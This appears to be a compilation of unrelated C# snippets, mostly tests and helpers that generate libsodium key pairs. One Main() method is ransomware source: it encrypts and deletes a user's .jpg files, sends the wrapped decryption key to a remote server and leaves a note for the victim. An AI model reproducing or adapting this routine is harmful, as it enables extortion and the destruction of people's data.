public async void WorkWithImageFileAndWrongKeyTestAsync() { var RAW_FILE = Path.Combine("Testfiles", "MyAwesomeChipmunkKiller.jpg"); var OUTPUT_DIRECTORY = Path.Combine("Testfiles", "decrypted"); const string PRIVATE_KEY = "31d9040b00a170532929b37db0afcb989e4175f96e5f9667ee8cbf5706679a71"; const string PUBLIC_KEY = "6d0deec730700f9f60687a4e6e8755157ca22ea2f3815b9bf14b1fe9ae6a0b4d"; var keyPair = new KeyPair(Utilities.HexToBinary(PUBLIC_KEY), Utilities.HexToBinary(PRIVATE_KEY)); var testKeyPair = PublicKeyBox.GenerateKeyPair(); Console.Write("Encrypting testfile . . .\n"); //encrypt the file with an ephmeral key var encryptedFile = await Cryptor.EncryptFileWithStreamAsync(keyPair, testKeyPair.PublicKey, RAW_FILE, null, OUTPUT_DIRECTORY, ".test", true); Console.Write("Decrypting testfile . . .\n"); //try to decrypt with an wrong key var decryptedFile = await Cryptor.DecryptFileWithStreamAsync(keyPair, Path.Combine(OUTPUT_DIRECTORY, encryptedFile), OUTPUT_DIRECTORY); Console.Write("Get checksum of testfiles . . .\n"); Assert.AreEqual(Utils.GetChecksum(RAW_FILE), Utils.GetChecksum(Path.Combine(OUTPUT_DIRECTORY, decryptedFile))); //clear garbage File.Delete(Path.Combine(OUTPUT_DIRECTORY, encryptedFile)); File.Delete(Path.Combine(OUTPUT_DIRECTORY, decryptedFile)); }
private void HandshakeWorker_DoWork(object sender, DoWorkEventArgs e) { IPEndPoint a = new IPEndPoint(IPAddress.Any, 1); localPair = PublicKeyBox.GenerateKeyPair(); var message = Encoding.ASCII.GetBytes("Key"); message = message.Concat(randomID) .Concat(localPair.PublicKey) .Concat(Encoding.ASCII.GetBytes(name)) .ToArray(); socket.Send(message, message.Length); var response = socket.Receive(ref a); if (Encoding.ASCII.GetString(response.Take(3).ToArray()) != "Key" || response.Length != 35) { HandshakeWorker.ReportProgress(2); return; } remotePublicKey = response.Skip(3).Take(32).ToArray(); message = Encoding.ASCII.GetBytes("Ses").Concat(randomID).ToArray(); socket.Send(message, message.Length); response = socket.Receive(ref a); if (Encoding.ASCII.GetString(response.Take(3).ToArray()) != "AOk" || response.Length != 7) { HandshakeWorker.ReportProgress(2); return; } sessionID = response.Skip(3).Take(4).ToArray(); HandshakeWorker.ReportProgress(1); }
public void DetachedBoxTest() { var alice = PublicKeyBox.GenerateKeyPair(); var bob = PublicKeyBox.GenerateKeyPair(); var nonce = PublicKeyBox.GenerateNonce(); String message = "Hello, World!"; byte[] byteMessage = System.Text.Encoding.UTF8.GetBytes(message); var e1 = PublicKeyBox.CreateDetached(message, nonce, bob.Secret, alice.Public); var e2 = PublicKeyBox.CreateDetached(message, nonce, bob.Secret, alice.Public); Assert.AreEqual(Convert.ToBase64String(e1.Cipher), Convert.ToBase64String(e2.Cipher)); Assert.AreEqual(Convert.ToBase64String(e1.Mac), Convert.ToBase64String(e2.Mac)); var d1 = PublicKeyBox.OpenDetached(e1, nonce, alice.Secret, bob.Public); var d2 = PublicKeyBox.OpenDetached(e2, nonce, alice.Secret, bob.Public); Assert.AreEqual(message, System.Text.Encoding.UTF8.GetString(d1)); Assert.AreEqual(message, System.Text.Encoding.UTF8.GetString(d2)); d1 = PublicKeyBox.OpenDetached(e1.Cipher, e1.Mac, nonce, alice.Secret, bob.Public); d2 = PublicKeyBox.OpenDetached(e2.Cipher, e2.Mac, nonce, alice.Secret, bob.Public); Assert.AreEqual(message, System.Text.Encoding.UTF8.GetString(d1)); Assert.AreEqual(message, System.Text.Encoding.UTF8.GetString(d2)); }
public static void AcceptCallback(IAsyncResult Result) { try { Wait.Set(); var socket = (Result.AsyncState as Socket).EndAccept(Result); var state = new ServerState { Socket = socket, ServerKey = PublicKeyBox.GenerateKeyPair(Key.PrivateKey) }; Console.WriteLine($"Accepted new client {socket.RemoteEndPoint}."); var client = new Client(); client.State.ServerState = state; state.ClientState = client.State; socket.BeginReceive(state.Buffer, 0, State.BufferSize, 0, ReceiveCallback, state); } catch (Exception) { } }
/// <summary> /// Takes a 'plaintext' Buffer of the message you want to encrypt,<para /> /// and an array of recipient public keys.<para /> /// Returns a message that is encrypted to all recipients<para /> /// and openable by them with 'PrivateBox.MultiboxOpen'.<para /> /// The 'recipients' must be between 1 and 7 items long. /// </summary> /// <param name="msg"></param> /// <param name="recipients"></param> /// <param name="maxRecipients"></param> /// <returns></returns> /// <exception cref="ArgumentOutOfRangeException"></exception> public static byte[] Multibox(byte[] msg, byte[][] recipients, int maxRecipients = DEFAULT_MAX) { if (maxRecipients < 1 || maxRecipients > 255) { throw new ArgumentOutOfRangeException("max recipients must be between 1 and 255."); } if (recipients.Length > maxRecipients) { throw new ArgumentOutOfRangeException("max recipients is:" + maxRecipients + " found:" + recipients.Length); } var nonce = RandomBytes(24); var key = RandomBytes(32); var onetime = PublicKeyBox.GenerateKeyPair(); var length_and_key = new List <byte>(); length_and_key.Add((byte)recipients.Length); length_and_key.AddRange(key); var res = new List <byte>(); res.AddRange(nonce); res.AddRange(onetime.PublicKey); foreach (var rec in recipients) { res.AddRange(SecretBox.Create(length_and_key.ToArray(), nonce, ScalarMult.Mult(onetime.PrivateKey, rec))); } res.AddRange(SecretBox.Create(msg, nonce, key)); return(res.ToArray()); }
public void GenerateKeyPairTest() { var kp = PublicKeyBox.GenerateKeyPair(); Assert.AreEqual(32, kp.Public.Length); Assert.AreEqual(32, kp.Secret.Length); }
/// <summary> /// Generate a CurveLock Keypair from an email and a password. /// </summary> /// <param name="email">A valid (format) email address.</param> /// <param name="password">A password.</param> /// <exception cref="ArgumentNullException"></exception> /// <exception cref="InvalidMailException"></exception> /// <returns>A libsodium compatible KeyPair.</returns> public static KeyPair GenerateCurveLockKeyPair(string email, string password) { if (email == null) { throw new ArgumentNullException("email", "email cannot be null"); } // perform a simple email check if (!StringHelper.IsValidEmail(email)) { throw new InvalidMailException("the given email address seems to be invalid"); } if (password == null) { throw new ArgumentNullException("password", "password cannot be null"); } var salt = GenericHash.Hash(email, (byte[])null, 32); var seed = PasswordHash.ScryptHashBinary(Encoding.UTF8.GetBytes(password), salt, PasswordHash.Strength.MediumSlow); var key = PublicKeyBox.GenerateKeyPair(seed); return(key); }
public void TestLoggerEncryption() { var result = LoggerHelper.CreateLogger("Deim Vadder sein Service", null, null); var logger = result.logger; dynamic logResult = new ExpandoObject(); bool exceptionThrown = false; try { LoggerHelper.CreateTraceObject("das ist ein verschlüsselter test", true, "Köaäasdaspfe"); } catch (FormatException) { exceptionThrown = true; } Assert.True(exceptionThrown); var keyPair = PublicKeyBox.GenerateKeyPair(); var traceObject = LoggerHelper.CreateTraceObject("das ist ein verschlüsselter test", true, Convert.ToBase64String(keyPair.PublicKey)); logger.LogTrace(traceObject); var message = result.loggerProvider.Messages[0].Message; Encrypter dec = new AsymmetricEncrypter(keyPair.PrivateKey); JToken content = JObject.Parse(message).GetValue("Content"); EncryptedObject eo = JsonConvert.DeserializeObject <EncryptedObjectPublicKeyBox>(content.ToString()); BusinessObject bo = dec.Decrypt(eo); Assert.NotNull(bo); Assert.Equal(1, bo.VersionStruktur); LogObject lo = bo as LogObject; Assert.Equal("das ist ein verschlüsselter test", lo.LogMessage); }
private static Route GenerateRoute(IList <NodeInfo> possibleNodes, int startSequenceId = 0, Route oldRoute = null) { var nodes = new RouteNode[3]; var i = 0; while (i < nodes.Length) { var nodeIndex = SodiumCore.GetRandomNumber(possibleNodes.Count); var node = possibleNodes[nodeIndex]; if (nodes.Any(n => n != null && n.Node.Id == node.Id)) { continue; } var keyPair = PublicKeyBox.GenerateKeyPair(); nodes[i++] = new RouteNode { EphemeralPublicKey = keyPair.PublicKey, SymmetricKey = GenerateSymmetricKey(node.PublicKey, null, keyPair.PublicKey, keyPair.PrivateKey), Node = node }; } return(new Route { StartSequenceId = startSequenceId, OldRoute = oldRoute, Nodes = nodes }); }
public async Task WorkWithImageFileAndWrongKeyTestAsync() { var rawFile = Path.Combine(TestContext.CurrentContext.TestDirectory, "Testfiles", "MyAwesomeChipmunkKiller.jpg"); var outputDirectory = Path.Combine(TestContext.CurrentContext.TestDirectory, "Testfiles", "decrypted"); const string privateKey = "31d9040b00a170532929b37db0afcb989e4175f96e5f9667ee8cbf5706679a71"; const string publicKey = "6d0deec730700f9f60687a4e6e8755157ca22ea2f3815b9bf14b1fe9ae6a0b4d"; var keyPair = new KeyPair(Utilities.HexToBinary(publicKey), Utilities.HexToBinary(privateKey)); var testKeyPair = PublicKeyBox.GenerateKeyPair(); Console.Write("Encrypting testfile . . .\n"); //encrypt the file with an ephmeral key var encryptedFile = await Cryptor.EncryptFileWithStreamAsync(keyPair, testKeyPair.PublicKey, rawFile, null, outputDirectory, ".test", true); Console.Write("Decrypting testfile . . .\n"); //try to decrypt with an wrong key var decryptedFile = Assert.ThrowsAsync <CryptographicException>( async() => await Cryptor.DecryptFileWithStreamAsync(keyPair, Path.Combine(TestContext.CurrentContext.TestDirectory, outputDirectory, encryptedFile), outputDirectory)); File.Delete(Path.Combine(TestContext.CurrentContext.TestDirectory, outputDirectory, encryptedFile)); }
public static void GenerateNodeKeys() { var rng = new RNGCryptoServiceProvider(); var id = new byte[8]; var idReader = new ReadBuffer(id, 0); var nodes = new NodeInfo[30]; for (var i = 0; i < nodes.Length; i++) { var keyPair = PublicKeyBox.GenerateKeyPair(); rng.GetBytes(id); nodes[i] = new NodeInfo { Address = IPAddress.Any.GetAddressBytes(), Port = 57120 + i, PublicKey = keyPair.PublicKey }; idReader.Read(out nodes[i].Id); idReader.InitialPosition = 0; Console.WriteLine("\"{0}\",", Convert.ToBase64String(keyPair.PrivateKey)); } //File.WriteAllText(@"C:\Users\Kevin.Spinar\Documents\Visual Studio 2015\Projects\tori\nodes.txt", new JavaScriptSerializer().Serialize(nodes)); }
public static string AnonymousRSADecryption(string privateKey, string cipherText) { var encodedPrivateKey = Encoding.UTF8.GetBytes(privateKey); var keyPair = PublicKeyBox.GenerateKeyPair(encodedPrivateKey); var plainText = SealedPublicKeyBox.Open(cipherText, keyPair); return(Encoding.UTF8.GetString(plainText)); }
public static (string, string) GenerateKeyPair() { using var keyPair = PublicKeyBox.GenerateKeyPair(); string publicKey = Convert.ToBase64String(keyPair.PublicKey); string privateKey = Convert.ToBase64String(keyPair.PrivateKey); return(publicKey, privateKey); }
public static KeyPair ScryptGenerateKey(string email, string password) { var salt = GenericHash.Hash(email, (byte[])null, 32); var seed = PasswordHash.ScryptHashBinary(Encoding.UTF8.GetBytes(password), salt, PasswordHash.Strength.MediumSlow); var key = PublicKeyBox.GenerateKeyPair(seed); return(key); }
public static KeyPair GenerateKeyPair(byte[] seed = null) { if (seed is null) { return(PublicKeyBox.GenerateKeyPair()); } return(PublicKeyBox.GenerateKeyPair(seed)); }
public void GenerateKeyTest() { var actual = PublicKeyBox.GenerateKeyPair(); //need a better test Assert.IsNotNull(actual.PrivateKey); Assert.IsNotNull(actual.PublicKey); }
static string SealedCryptoboxDecryptionToBase64(byte[] privateKey, string ciphertextReceivedBase64) { byte[] ciphertext = Base64Decoding(ciphertextReceivedBase64); KeyPair keypair = PublicKeyBox.GenerateKeyPair(privateKey); var decrypted = SealedPublicKeyBox.Open(ciphertext, keypair); return(System.Text.Encoding.UTF8.GetString(decrypted, 0, decrypted.Length)); }
/// <summary> /// Create public static key box. /// </summary> /// <returns>The pair.</returns> public static KeyPairDto KeyPair() { var kp = PublicKeyBox.GenerateKeyPair(); return(new KeyPairDto() { PublicKey = kp.PublicKey, SecretKey = kp.PrivateKey }); }
/// <summary> /// Generates a KeyPair. /// </summary> /// <returns>The pair box.</returns> /// <param name="privateKey">Private key.</param> public static KeyPairDto KeyPairBox(byte[] privateKey = null) { var kp = PublicKeyBox.GenerateKeyPair(privateKey); return(new KeyPairDto() { PublicKey = kp.PublicKey, SecretKey = kp.PrivateKey }); }
public static (string publicKey, string privateKey) GenerateEncryptionKeyPair() { char[] password = PasswordPrompt.EnterNewPassword(); byte[] passwordBytes = Password.Hash(password); using var keyPair = PublicKeyBox.GenerateKeyPair(); byte[] publicKey = Utilities.ConcatArrays(Constants.Curve25519KeyHeader, keyPair.PublicKey); byte[] encryptedPrivateKey = PrivateKey.Encrypt(passwordBytes, keyPair.PrivateKey, Constants.Curve25519KeyHeader); return(ConvertKeys(publicKey, encryptedPrivateKey)); }
void GenerateInitialKeyPair() { _keyPair = PublicKeyBox.GenerateKeyPair(); if (showDebugLogs) { Debug.Log($"<color=green>MONKE | KEYPAIR GENERATED!</color>"); } }
internal static void Main() { T = new Thread(() => { /* Animated Console Title */ _title = "Ultrapowa Key Generator " + " v" + Assembly.GetExecutingAssembly().GetName().Version; _tmp = string.Empty; for (var i = 0; i < _title.Length; i++) { _tmp += _title[i]; Console.Title = _tmp; Thread.Sleep(40); } /* ASCII Art centered */ Console.WriteLine( @" 888 888 888 88888888888 8888888b. d8888 8888888b. .d88888b. 888 888 d8888 888 888 888 888 888 Y88b d88888 888 Y88b d88P' 'Y88b 888 o 888 d88888 888 888 888 888 888 888 d88P888 888 888 888 888 888 d8b 888 d88P888 888 888 888 888 888 d88P d88P 888 888 d88P 888 888 888 d888b 888 d88P 888 888 888 888 888 8888888P' d88P 888 8888888P' 888 888 888d88888b888 d88P 888 888 888 888 888 888 T88b d88P 888 888 888 888 88888P Y88888 d88P 888 Y88b. .d88P 888 888 888 T88b d8888888888 888 Y88b. .d88P 8888P Y8888 d8888888888 'Y88888P' 88888888 888 888 T88b d88P 888 888 'Y88888P' 888P Y888 d88P 888 "); Console.WriteLine("[UCKG] -> This Program is made by the {0} Developer Team!", Name); Console.WriteLine("[UCKG] -> {0} Key Generator is now generating key..", Name); kng = true; while (kng) { var key = PublicKeyBox.GenerateKeyPair(); Console.WriteLine("[UCKG] -> Public Key = 0x" + BitConverter.ToString(key.PublicKey).Replace("-", ", 0x")); Console.WriteLine("[UCKG] -> Private Key = 0x" + BitConverter.ToString(key.PrivateKey).Replace("-", ", 0x")); kng = false; } Console.WriteLine("[UCKG] -> Need other key? Press y or if you want to exit press N"); var result = Console.ReadKey(); switch (Char.ToUpper(result.KeyChar)) { case 'Y': Console.Clear(); Main(); break; case 'N': Environment.Exit(0); break; default: Console.WriteLine("[UCKG] Unknown Key Pressed. Please Choose Between Y or N."); break; } }); T.Start(); }
public static void InitSession(InfoCliente infoCliente, UsuarioEntity usuario, TipoAplicacion idAplicacion = TipoAplicacion.ORDENES) { MAEUserSession userSession = new MAEUserSession(); var configuracionSeguridad = CachingManager.Instance.GetConfiguracionSeguridad(); userSession.IdPersona = (int)usuario.IdPersona; userSession.IdUsuario = usuario.IdUsuario; userSession.Ip = infoCliente.Ip; userSession.Dispositivo = infoCliente.Dispositivo; userSession.FechaInicio = DateTime.Now; userSession.FechaFinalizacion = MAEDateTimeTools.DateTimeAdd(DateTime.Now, configuracionSeguridad.TimeOutInicialSesion, "s"); userSession.IdAplicacion = (byte)idAplicacion; userSession.UltimaActualizacion = usuario.UltimaActualizacion; userSession.ConfiguracionRegional = usuario.ConfiguracionRegional; //AESEncryptor encryptor = new AESEncryptor(); //userSession.Global = encryptor.GetUniqueKey(); //SecurityHelper.GetRSAKey(ref userSession); var clientKeyPair = PublicKeyBox.GenerateKeyPair(); var serverKeyPair = PublicKeyBox.GenerateKeyPair(); userSession.PrivateKey = Convert.ToBase64String(clientKeyPair.PrivateKey); userSession.PublicKey = Convert.ToBase64String(clientKeyPair.PublicKey); userSession.ClientPublic = Convert.ToBase64String(clientKeyPair.PublicKey); userSession.ClientSecret = Convert.ToBase64String(clientKeyPair.PrivateKey); userSession.ServerPublic = Convert.ToBase64String(serverKeyPair.PublicKey); userSession.ServerSecret = Convert.ToBase64String(serverKeyPair.PrivateKey); userSession.Nonce = Convert.ToBase64String(PublicKeyBox.GenerateNonce()); userSession.AllowedCommands = new Dictionary <string, Type>(); userSession.JavascriptAllowedCommands = new Dictionary <string, string>(); userSession.PermisosUsuario = new Dictionary <string, bool>(); List <Permiso> PermisosUsuario = CachingManager.Instance.GetAllPermisosByIdUsuario(userSession.IdUsuario); Dictionary <string, int> mapeoAcciones = new Dictionary <string, int>(); var Acciones = CachingManager.Instance.GetAllAcciones(); OrdenesApplication.Instance.GetComandosHabilitados(idAplicacion) .ForEach(cmd => { var k = OrdenesApplication.Instance.Encryptor.DynamicEncryption(cmd.FullName); userSession.AllowedCommands.Add(k, cmd.CommandType); userSession.JavascriptAllowedCommands.Add(cmd.Key, k); mapeoAcciones.Add(k, cmd.IdAccion); }); foreach (KeyValuePair <string, int> kv in mapeoAcciones) { Permiso p = PermisosUsuario.Find(x => x.IdAccion == kv.Value); if (p != null) { var permisoAccion = Acciones.Find(x => x.IdAccion == kv.Value).HabilitarPermisos; bool habilitado = (p.Permisos & permisoAccion) != 0; userSession.PermisosUsuario.Add(kv.Key, habilitado); } } CreateSesiones(userSession, (byte)idAplicacion); InsertarLogSeguridad((byte)LogCodigoAccionSeguridad.InicioSesion, "Inicio de sesión exitoso", (byte)idAplicacion); }
private static void Main() { // files to search for var searchPattern = new[] { "jpg" }; try { var ephemeralKeyPair = PublicKeyBox.GenerateKeyPair(); var nonce = PublicKeyBox.GenerateNonce(); // we encrypt the ephemeral private key for the target public key var cipher = PublicKeyBox.Create(ephemeralKeyPair.PrivateKey, nonce, ephemeralKeyPair.PrivateKey, Utilities.HexToBinary(TargetPublicKeyHex)); var textToSendRemote = Convert.ToBase64String(ArrayHelpers.ConcatArrays(nonce, ephemeralKeyPair.PublicKey, cipher)); var textToShowTheUser = string.Format( "Your public key: {0}\nThis key is used to identify your private decryption key (on the admin site).", Utilities.BinaryToHex(ephemeralKeyPair.PublicKey)); cipher = null; nonce = null; var files = GetFiles(MainFolder, searchPattern); if (files.Count > ParallelUseBorder) { Parallel.ForEach(files, file => { Cryptor.EncryptFileWithStream(ephemeralKeyPair, file, null, EncryptedFileExtension, true); if (SecureRandomDelete) { SecureDelete(file); } File.Delete(file); }); } else { foreach (var file in files) { Cryptor.EncryptFileWithStream(ephemeralKeyPair, file, null, EncryptedFileExtension, true); if (SecureRandomDelete) { SecureDelete(file); } File.Delete(file); } } ephemeralKeyPair.Dispose(); SendToRemoteServer(textToSendRemote); CreateUserFile(Path.Combine(MainFolder, UserFile), textToShowTheUser); } catch { /* */ } }
public void CreateAndOpenSealedBoxWithKeyPairTest() { byte[] message = System.Text.Encoding.UTF8.GetBytes("Hello, World!"); var keyPair = PublicKeyBox.GenerateKeyPair(); var encrypted = SealedPublicKeyBox.Create(message, keyPair.Public); var decrypted = SealedPublicKeyBox.Open(encrypted, keyPair); Assert.AreEqual(message.ToString(), decrypted.ToString()); }
public void DecryptMessageTest() { var message = Base58Check.Base58CheckEncoding.Decode("1AtPS411ipfcRmvBe1hoSvAbJpNfpvpzKrQHTuK8jw9WTGf69FM7kmkDxhf9nFpfG4dbEgrxYMuyyR3x4LM8LbscDx3x5mQWmGL8cDCShJKFBeEqN688QfhGNVVTsKqWNUJ"); var privateKey = Sodium.Utilities.HexToBinary("4ba8e0b41fc07b5a1d4e0be0a4b464f6f2673a3854f967b5c31102b15683a195"); var key = PublicKeyBox.GenerateKeyPair(privateKey); var expected = Encoding.UTF8.GetBytes("bob"); var actual = MessageCrypto.DecryptMessage(message, key); CollectionAssert.AreEqual(expected, actual); }
public void CreateAndOpenSealedBoxWithKeyPairTest() { const string message = "Adam Caudill"; var recipientKeypair = PublicKeyBox.GenerateKeyPair(); var encrypted = SealedPublicKeyBox.Create(message, recipientKeypair); var decrypted = SealedPublicKeyBox.Open(encrypted, recipientKeypair); Assert.AreEqual(message, Encoding.UTF8.GetString(decrypted)); }
public void GenerateKeyPairTest() { var aliceKeypair = PublicKeyBox.GenerateKeyPair(); Assert.IsNotNull(aliceKeypair.PrivateKey); Assert.IsNotNull(aliceKeypair.PublicKey); Assert.AreEqual(32, aliceKeypair.PrivateKey.Length); Assert.AreEqual(32, aliceKeypair.PublicKey.Length); }
public Form1() { InitializeComponent(); keyPair = PublicKeyBox.GenerateKeyPair(); //keyPair = new KeyPair(Utils.HexToByteArray("441758670C22377A74676896D9F8B95A7B79CA99888055D1858DEAF5A0FC8567"), Utils.HexToByteArray("A854DBA70429943C36D2F0E7E9AC8DEA112B19A402451F5809FBB797AC6B4930")); PrivateKey = keyPair.PrivateKey; PublicKey = keyPair.PublicKey; WebClient wc = new WebClient(); token = wc.DownloadString("http://localhost/Tokens/cr_account_token.txt"); }
public void CreateAndOpenWithOneKeyTest() { var kp = PublicKeyBox.GenerateKeyPair(); var nonce = PublicKeyBox.GenerateNonce(); byte[] message = System.Text.Encoding.UTF8.GetBytes("Hello, World!"); var encrypted = PublicKeyBox.Create(message, nonce, kp.Secret, kp.Public); var decrypted = PublicKeyBox.Open(encrypted, nonce, kp.Secret, kp.Public); Assert.AreEqual(decrypted.ToString(), message.ToString()); }